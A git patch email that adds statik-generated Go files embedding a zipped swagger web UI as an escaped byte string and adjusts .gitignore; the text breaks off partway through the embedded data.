=?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Tue, 21 Feb 2023 16:14:08 +0100 Subject: [PATCH 0246/1062] Added statik versions to enable tests --- .gitignore | 4 ++-- swagger/swaggerembedded/statik.go | 16 ++++++++++++++++ webconsole/webconsole.go | 4 ++-- webconsole/webconsole_default.go | 4 ++-- webconsole/webconsoleembedded/statik.go | 16 ++++++++++++++++ 5 files changed, 38 insertions(+), 6 deletions(-) create mode 100644 swagger/swaggerembedded/statik.go create mode 100644 webconsole/webconsoleembedded/statik.go diff --git a/.gitignore b/.gitignore index bbc1f8e449..d66185fb29 100644 --- a/.gitignore +++ b/.gitignore @@ -49,5 +49,5 @@ token token_admin swagger/dist -swagger/swaggerembedded -webconsole/webconsole \ No newline at end of file +# swagger/swaggerembedded +# webconsole/webconsoleembedded \ No newline at end of file diff --git a/swagger/swaggerembedded/statik.go b/swagger/swaggerembedded/statik.go new file mode 100644 index 0000000000..acc5bb4ddb --- /dev/null +++ b/swagger/swaggerembedded/statik.go @@ -0,0 +1,16 @@ +// Code generated by statik. DO NOT EDIT. + +// +build !swagger + +package swaggerembedded + +import ( + "github.com/rakyll/statik/fs" +) + + +func init() { + data := "PK\x03\x04\x14\x00\x08\x00\x08\x00snUV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00 \x00index.htmlUT\x05\x00\x01j\xcc\xf4c\x94TQk\xdc8\x10~\xcf\xaf\x98\xd3\x11H\xc0^\xed.,\x04\xc7\xf6\xc3%y\x08\x1cw\xa1i\xa0y\x1c\xdbc[T\xd6\xb8\xd28\xdb\xa5\xf4\xbf\x17\xc7\xde\xec.M\x0b}\xb1\xe4\x99\xf9\xbe\xd1\xa7\xf9P\xfa\xd7\xed\xff7\x1f\x9f\x1f\xee\xa0\x95\xce\xe6g\xe9\xb8\x80E\xd7d\x8a\x9c\xca\xcf\x00\xd2\x96\xb0\x1a7\x00\xa9\x18\xb1\x94\xff\xc7\xf0\xb8\xc5\xa6!\x0fO\xf7@\x0e\x0bKU\xaa\xa7\xe4T\xd8\x91 \xb4\"}L_\x06\xf3\x92\xa9\x1b,[\x8ao\xd8\x89g\xab\xa0d'\xe4$S\x8e\xe3rLE\xe08\x0e\xc2\x9e\"\xe8\x86 \xb1\xa7\x17\xb4\xa6B!\x05\xfaW\xac\x0f\x1e\x9b\x0e\xdf\xa1\xfb\x0d\xe6\xeeko<\x85#\xd0\xf2P\x1dd\xb7\xd7\x00Pp\xb5\x83o\xf3\x0f@\x81\xe5\xe7\xc6\xf3\xe0\xaa\xb8d\xcb>\x81\xbf\xd7\xab\xf5z]^\xbf\x95\xd4\xec$\xae\xb13v\x97\xc0\x07.X8\x82\x80.\xc4\x81\xbc\xa9\x0f\x853\x81o\x8a\x8b\xd5\xd5&\x82\xfd\xe7r_\xf2}^1\x02L^L0B\xd5\xd1YN\x18\xd6#vu\x15\xc1z\xb5\xfc\x89`1\xcaD\xe3\xc8\x9f\xc0\x01z\x0eF\x0c\xbb\x04\xb0\x08l\x07\xa1\xeb\x93\xbcp\x9f\xc0fy~\x1a\xb5T\xcb;a\xf1\xe8B\xcd\xbeK\xa6\xadE\xa1O\x17\xf1fy~y\x08=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb`l\xa4J\x0e\xa0z\xa0Q\xeb,wra5}\x15\x80\xc2\x816\xd4q\xc8\xf3\xad(\x15 \x04\xe1\xf5n\xdf\x0f/\xc5\xc6\x04Z\xeb\xe4\xe5\x0d\x0b\xa1\x1d5\xa4]\xc85\xbd\xc5Q\x12\x97\xd15\xbb\xe2|\xe5M\xe35P\x99hX.\x0d-\xe7\xafL]\x8a\xfb\x9av\xa12i\xf1\x91\xe5\xfe\xcd\xb7\xe4x\x1agcR\x93\x9e\xaf_\x1b\x8a\x8c\x80\x82\xa5\x14\x03\xf3\x9c\xae\xb4\xb9\x86*\x00,\x1ch\xc3\xad\xf2^\xf7a\x95\x12R\x0d\xe8c\xc0\xf4vs\xf1\xe4\xd6\xeb\xf6\xf1\xea\xaf!)\x89\x86+m\x9c\xf3\x9e\xd00\x84i\x90k\xf3\xf3\xc6\xc2\x15MG\xc1\xc9\xce:|\x01\x99_>Iv\xe5tM9e\xff\xf5\xf1\xfa\xca\x80V\xf8W\x82\xaa{r\xad\x13\xbb\xef\xbdAjY\xe6\xf1\x0c\xeb\xe7\xab\xc8Lb%\x02\xc2-Q\xddD\xcc\xb6\xa2\x80D)!\xf5ji\xdb\xfe\xe3\xcaI\xcc\xba\x11?\xa3\x1d]2\xa61w\xf6\xb9\xf3\xd2c\xa6\xd9\x9a\xb7^\x1f;7\xd2L\x8d\xa5^\xfbM\xdbw\x04?c\n\xf2\xeb\xf0\x90\xe6\xadT,\x91P0\x91\x7f[\x1f\xa9S\xfd\xd3\xc8\xba\xe9\x00\xf1\xf0\xd6b\xd3[P\xb1\x88\xdc\xe4\x8b\x0di\xdf\xff\xb7;k\\\x87b\x88\xf7a\xfe+\x18\xe75yJ\xf8\xc1\x9b\xb4\xae\xe0\xdb\xfa\x17\xbd\x1b\x9a.T\xfb\xe4\xd3y>9x}\xd8\xb46\xcd\x0blF\xca\x16\x06\x10l0\xe9\xa9\x87\xfc\xaa\xb5J\xb0\xf5/\xa3\x1b\xbc\xe2\xa7\xa9\x00`\x12\x18\xba\\\xb7\xb6\xfb\x07\xc6i\xa1{/\x97E\xf5\xa3\xe1\xaa\xab\xf9\xc8M5\x1b.WI{Q\xb92\x8fo+{tG\x95\xb3\x8f+x:b`:q(JEc=\xd3\x89\xd6\xc5w\xf5\x1a\x90\xd3:,\xd7\xc6\x1d\x06\xfe\xb7\x06\xe4w\xec\x9aH\x8b\xdf\x0e\xe1[#\xadKN\xd6\x83\xe8P\xe9\x1c\xd5%gee%\xb7A\xec5\xdaU\xdc\xb2ba\xd5\x05\xf4=\xe4\xfe\xbfEK\x8eYYV\xa4,a+\xeb\x89\xdf\xbf{\xb8\x8ee\xaeI\xe5\xcb\xa27\x0f1N\x0c\xd6\xfcws\xf2\xcf\xab\xc3\xac\x06\xf5eq\xe02\xf5\x078\xdc(\xcc\xd4T\xa6/\xd5\xff\xb7\xe8\xa3\x1fh\xee\x8e\xc6U~\x1b#\xa9\xb5s\xcf\xad\"\x16\xa7\xe0\xf2\xf9\xe1i\xf9\xd1\xf8\x03\xe9~\xd8y\xfc\xf8\xe8\xceIH\xc7\x86\x8bH\xf2\x89\xcc\xc3r\xad\xb1\x16\x8a\x9d\xdb\x80\x06Y\xfeF5\xba8#\xa5\xa61`&K\x95#\x0f\xa9-\xe7\xd7u\xda\xb1Lp6\xf1\xbc\xe1\x00g\xe6\x03\xeegq\";g\x18\xfa\xe4\x85\xf8\x1f\x96\xd1t\xf3\xfd\xf8\x89\x00:\xf5@L\xda+\x1a$\xa6\"\xa9\xdf*\x91\x98\x07\x04\xa2\xee\xdez\x1aA'f\xa5\xd3\xe1\x15\x82\x02>(\xbe\xfdJFAn(\xee\x1f\x15lL\xdf=s\x10x;\x89\xae\xb9V\x8aI\xb3\xf5\x0eo?<\x80\x00.\x95\xba\xd9\xf7\x1b\\\xfd\x8e\xae\x04\x9e\x9e\xb1\xe4\xe6\x1d\xfaV\xb6\x9c\xec\xe3\xee\xa7w$\xb9@\xb1\x89\x05IS3}\xc1m\xe2\x91\x9e\xafu\xab\x8d\xb6O\xf8\x1f\x06C\xddt\xeb\xc3a\xca\xb0\xbb\xd7\xe8\xb2\x1f\xa0\xd8\xb4\xbe\x0b\xe9`~\xbb\xfd7~\xccY\xed\x01O\xe9\xb1\x8e%C\n\x82L\xc0\xa1\xeb\xce\xfb\xb1/\xf7)\xaa\x1ac6\xff\x01v\x08\xc2\x91R\x8c\xe0\x82W\x9d\xaa\xa4\xce\x16]\xe9\xca\x8c$\xc5n\x16\xc6\xc1\xd2\xcf\x01[\xff\x1e\xbf\xb43\xca\x13\xf2\x14\x13!^\xf6\n\x99\x19\x1fi\xa9]\xf2\xd0\x07hp9\xab\x05?\xb7Tv\x1e_m\xc1\x7f,~\xf2\xf2\x16\x99A:\xb4\x04\x19\xc6{\xbdy\x02\"\x82e\x1a\xc5h|h|\xc1 \xe2@\x8a\xb7\x1f\xe9\x89\x89\x88,\xa1\x94g\xa2z\x0e)}\xdb\xbd\xf0\xb6\xfeo9f\xf0\xdf5\xcf{\xa2U\x9df\xcd\n\xfb\xd2\xc5\xb3\xed\x04n\xd8\x7fC1w\xae)\x91\xe5\xb0\xa1u\xff\xcd\xfa&e\xe6N\x82\x99L\xa2\xe4\xac\xbc\xdb\xebcWO\xe9\x0d\x00\x89v0\x97\xd6E\x0b\xc2\xc8\x0e\x8d\xcfS\xb2\xbaWV\x08&\xe5\x1b\x1e\x10\xf0W\x0e2\xea\x1e\xc0\xad\x13\x1a\x83\xa9\xf6_\xe4\xf5_H\xf9\xf6\xb7\xfd\x89\x9dj\x96\x81\x88\xbf\x8b\xef\xbcM\xa2\x02\x98\xf8/\x9e\xe90\xd1\x07\n5\x18\x901\xe5\xa2Z\x98\xbe\xb6\x7f\xfae\xee?\xa1\x94I\xc0\x14\x12\x89\x0f&\xd3\xb1j\xa7\xa9AoCO\xbc\xb4\x95\xf1UM\xac\x97\xfe\xc8\xbc?\xdc\xc8k\x9dB\\zj\x17\xf2ny1\xbf\xed\xc3\x18&\xa5eK\xc28\x17\xdf|\x19\xfc\xda\xf5\xdf&\xaf%hV\xe6\xdd|Y\xbaO\xf4\xcd\xc0t\xd7\xb4\xb4IM=\x8f\x1b\xda\xe5U\x1a\xe8R\xca~j_{\xee\xacS\xcf|C\x98\xfe\xe8(z0\xac\x901\xbc\xed\xe7\xfd\x13\xc7\xea\xa6\x9f\xff\xd4(\xb2\xb0z\x98\xcc\x1a\x13\x8e,\xf9On\xeb\xa7\xa2H[\xe0M T\xb08i\xf5\xb6N\x04\xd4\x9buo@\xdd\x15\x0e_\xc3\x03+\xcd\xa6\x0b\x8e\xa6\x8a\xa9\x10}\xd7\xaf f\x84o\xdd\xddO\xa8\x11\x81\xc4\xb2\xc7\x82\xc1\xfd\x98#\xe1\x0b#\x86\x07\x0f\xbe\x0e\xa2\xd5\xfbD,\xe8\xf9>\xf8\xe0\xd7{\xb2S\x1eZ\x1f6\xef*)\x04y\x88B \xd9\"p\xb3\xdaN\xf0\xcd\x98\xd65\x87x\xb5N\xd24\xcfh7]\xc6io\xf9.O\xa4%\xad\xdb\x13\xfa\xd2\xb6US\xfa$v\x1b\x7f\xfd\xb3\xc8o8\xf4\xe9T\xae\x8c\x1f/i\xbe\xect&\x915\x15\x0f\xbe_\xbbJ\x83\xb2xH\xf1\xbfu\x0f\xd5\xcfy\x08)\x97\xf1\xf5\x99\xeb\x87Y\xae\x84y\x15\x9b\xaal)P{\xba\xb7\xcbB\xd6Z8Ab\x9f\x08zJ79\x85\xe5HQ<\x9bVw|\x05\xf0Q\xa7\xd4\xa9U\xa2S\x9b\xc9\x188\xcfo\x11\xae\xc1m8-\xfe\x0d\x99D\xe4\xd0\xdd`\xeb\xc0\x061\x1a\x9cRG\x111.\xe9h\xffM1\x1d(P\xb1\xe6\xa8\xf4\x8fF\x0b\xd2\xc8\xa38\xf7\xf8\xd0`N\x9f\x1c\xf02|\xf5l\xf5k0\xca\xae'~y_eFy\xbf]\xe6%\xa0\xfdS\xad&bk\xf2\x0c\x0f\x9c\x86\xf4Q*\x90\x8a\x1d\x95\xfc\xb4\xc8\xc0p\xf2\xdbb\xb4=\x84\xe6H\x8b\xac\x87\x05\xfeB\xe8\xef\x83\xcb\xb4\xd3\x18\xb8\xa0\x81\x89\x1d\xab\xb6\x9a\x9a\x82b!F+@\xb2\x81\x1e\x8d| \xb4\x8b2=\x1d\xa8w\xf0n\xea%\xa2\x85\x9e\xea<\xb7;):7\xe2p\x05\xbc7Pt\x8d*\xd5k\xfd\xef\x8d>\xbc]Y\x8e\xa7p\xcbY\x03\xe7\xcay\xbe\xb9\xfe7L\xd6\xd0\x16\xbb\xa6U\x1a\x03xg\xe0W\x8d!\x9d[EVF\xf4R\xf7b\xf4L8B\x12\x16)\x13Klr\x98\xec\x19\xb5\xa3WF\x10\xe9\xef\xa86\xd7\x906\xe8\nA\x8d\xc3a\xbe\xcb \xe6\x12;*\xeb\x1a~/H\xb6\x1b$I=\x119\xb8\xb1\x840l\xb2r\xeeh5\xef\xe9\xbdJ$4r^RFh\xd7\x10`6\x15\xa14\x0c\x98\xac\xf7>`\xfem\x95`\xa3\xe0]t+QD(I\x16&jx\x8e\xbe\xfe\xd9\x15\xda\xe2\x82\xa5\xf0n\x17\x0dc_\x9a\x02\x1f\xac\xc1kj\x82\xda\xb1\xc3)H\xc8\x03\xde\x01 \x16o\x17\x10\x98\x864\xb7\xcd\xe1o|\xdb\x17}\xec\x12\x81\x9f\x1fI\x9b\xbb]\x1a\xb9\xa8\xca\x0f:\x1b\n\xd0\xc8\x12\xc4Mb\xebIc/\xee\xf5]\xe7\xeb\xd7z\x96\xdd\xf6\xcc\xb5D,&\x91@\xa5e\x99\xd1\xc8\xa1Z;c0\x08\xea^Cb&\x03\xc2\xb1\x83\x80\xbfX\xb8\xc2~\x19\x17(\xfcp\x0d\x9dseJ\xfa\xfb\x93\x94\xa4\xb6\xa2e\xe3'\xd7D\x03\xc3\xf9N\xb5\xf9\xdf\x90x\xa0i*0\x05u\xd1\xbe\xc8s\xd0\x87\xf3\x12\xf4c\xb4[\x93qg7\xbfC\xfe;A\xdd\xfa\\c\xb5\xa2\xf6A\xb7\x13K\x91\x8e\xf3P}\xad3|e\xb5\xa2\x132\xf1QE\x1e\x1c\x0e%:\xcf\x85/\xac]\x04\x99\xa0|!._\xe1\xc8\xf1\x7f\xa1K\x9e\xaf\xc8\xbb\x86\xde\x9c(\x93\x82\xed\xce\x07\xe2~\x04\xf5\xd2;u\xbf\x9e\xaf\xceC\xb6\x1fni\xe8\xa9HqO\x1c\xbf\x10x\xab\xd7\xc0\xeb\xd3\x802\x8dfIY\xce\xc6\xf3\x80\xf5\xaexc\np\x86P\x9a\xe9\xfb2X*G\xcc\xe4\xda%\xb9\x00S\xe2Dg\xecS3\x17\x8d\xa9y\x10\xd2c<\x84\xa0\xc0\xf8\x00\xa7F4=I\xe7V\xea<\x07\xaaCE;\xf8\xf0\\\xf6\x80\xe4\xd2s\xf3Y\x97G\xa8(x}\xe6.@\xed\x0f\xba\x9cr\x82p\xf21\xd0&J\x9a\xda\xd6\xa3\x11\xb3\x1e\xcc\xea#\xaa!\xe2\xe73\xbd\x8dv\xaal9\xbf\xbd3j\x89\xf9\xff\xfe4\xfd^\xb6\xef\xf5=\xee\x19Y\x8f\x8e\xc9\xb8]\x16\xd3s\x95^b7\xc5\x92\xab\xd9\\\xbe\x1d\x03\"qZ3\x0d\xfeA\xa0w/\xae\x9a\"\xcc\x93i-O\xad\xaf5\xd1\xc880\xab\x06\xcf>\xc4Om\x80Y>\xae\xde\xf7\xc9'T\x04\xea\x070d\xbc\x8f\xc0\xc96\x1e\xc0\xb4\xa2\xf6{51\xe4U\"\xeb\x9b\\<\xaf\x8d\xd2\x9ah4\x8a\x8f\xe2n\xa6\x06\x13\x0f{\xcfy9|e\xc2\xbd\xfb\x13L\xb84\xd2\xbb\xc8\xc5Y\xbc\xa2\x1c\xd5\xc2&\xba\xb5/\xa5&\xda\xa5i\xf5'\x7f\x19t/\xa6\x9a\xd7Qm\xad\xf3\x9a{\x02\x8f\xf8e\xb2\xc3B~\x07\xc7\xbf\xf1J\xd0\xf7\x92\x80`\xaa\xf9\xe0931Q\xb1!\\`\x87\x98\x82c\xc4\xd5\xff\xdf?f\xae?\x97=\xfdKB\xbfZ\xa9!\xf9(\xbb\xfeAk\x01\xdc\xf6\x83\xab\xb9\xc9\x92\xd2\xe9\x0bn_f\xe2\xc3-\xd5\x11f\xb0\x0e9\xcd\x9e\"\xb34\xaf\xd0(\x0f\x81$\xc2\x8e\xcb\xd1\x83\x97\xb4`\x9c\xc6\\\xe8WkP\xf3\x89\x931JJ\xdd\x1e\xed\x18X\xdb\xf0\x18\xdcd\x97\x9dE\x14\x88=\xf4\xe7\xbfW\xf7\xeb\x1f\x10\xdb\x9f\xe2\x94Y\xb8O\x87\xc6\x03\x1e(\xfc9\x9e\xee\x08\x83\xac\x99d\x95j]\x94`\x819\xdf\x1b\xf0\x0b\xccQ\xdc\x8c\xe4\xb2\xf5\x10\x9dR\x1d\x13k\xc98\xe4x\xbe\xd2#/\xf1t\xb8\x8c\xe5/R\xc4|\xfc\x84i\xc0!\xab\xe5\\\x96\x01RkY\x95\xf6d\xcd1\xcd\"\xf6\x8a\xf54E\xd9\x85\x85\x11\xf3O\xc4\x11\xd4\xfcH\xa3\xb5f0\xef\x13P\xcc#\xb9\xca\x0bB^\x8cW\x87\x8b>Y\xc0/u{k\xa0\xf5#\xac\x99M|\x1aQ\x1f\xa88%\x02\xbb\x08\xde\x9f\xa2\xec\xca\xd8\x0f\xbdj\xc8\xd3\xc9^3\x9a\xf8\x8b\x1c1\xd2Y\x98\xf6\xe7\xa5!\x0d|\xc2S\xe8\xfcQ\xd4dv*\xe9\xb5s\xe02-8\xa3[>Y\xe2~\x08\xf1\x12\xf2;6F\xaa\x1a\xf2\x8e\x7f\x8b\xdf\x14\xb5\x00@S\xb1\xc1\xba-\x1f\xbcQ\x9d(\xbe \xb5h8\xb4(#\xe8\xe0b\x1cJ\x94\xb4\xc34(\xd0\x9d\x9c\xb1\xac\xc4\x03\x1d>l-\xde\x8b\xd8\xd2\xd0\x07\xb13s\xc5\x80e\xc1E\xde}\xea\xf6\xc6\x8a6\xcd\\'h\xe8i\xd8\xc4L!.\x9f4\x04\xcb\xd4i\xf8\xc1\xdb\xa4r\x90B\xa3=\xff \xe48R \xf8\x9c\xd7M\x16\x0e8~KK\x9dD>\xd5\x8e\xf1A\x1f\xc1\xd2\xaa\xe1\xab\x82\xbc\xa2\xbc\xa0\xe4\x9e\xe8\xde\xab\x06\xf1\x7f|\xf5\xa4!\x98MG\xb8V\xc3\x89\x8bY\xb7\xcb\x15\xc3\x16\xab|\xd5T\x90\x81\xbb\x01\xcag|\x9fc\xbay\"1\xea\x877\xe9\xed\xa3vs\xb1>\x95\x9fc\xbb\xdb\xc2\xc5\x01\x9b\x8c\xc0#F#n`\\\xd4u\x8e\xc7\xf4\xd3\x9d\xb3hR\x90\xaf\x15\x90G\x7f\xc9\xb8\x93.S\xa7\xc6\xd6\xc8\x1dKO\x82\xa6\xc9eB\x94|/\xb7\xcf\x12\xady\x08\xfc\xb1iT\xe5\x84$\xae\x94B\xf9\x82g\xf1\x88\xd3\x90c\xef\xc6o\xf0p;\xa7>6\xb3`\xe3\x068\x1c\xf6\x8b\xd7s84G\x95\xaaS\xe7\x83\xc8H0.\xb4\x03\xe4v\x1bN-5a\xf3\xe8\xafZ\xdc^Q\xab\xc9\x1fv`\x8f\x00\x7fj\x0d\xb1sOt\x16M\xa6c\x93\x16\xc4\xff\xd2oRb\xd1\xa8R+c\xf6\x98\xa7\xe0A/\xca\x14